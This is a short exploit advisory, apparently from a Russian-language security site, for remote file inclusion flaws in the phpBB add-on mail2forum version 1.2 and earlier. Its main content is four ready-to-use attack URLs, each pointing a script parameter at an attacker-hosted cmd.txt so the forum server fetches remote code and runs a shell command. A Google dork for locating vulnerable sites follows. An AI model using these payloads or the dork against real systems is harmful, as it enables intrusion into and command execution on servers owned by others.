Web mail2forum <= 1.2 Multiple Remote File Include Vulnerabilities

[Ŧ1LAN]

mail2forum <= 1.2 Multiple Remote File Include Vulnerabilities
Уязвимый продукт:
mail for phpbb (bulletin board/forum software)
послденя версия 1.2
Пример/эксплоит:

http://[target]/[forum_path]/m2f/m2f_phpbb204.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_forum.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_mailinglist.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_cron.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls

google dork: allinurl:/m2f_usercp.php?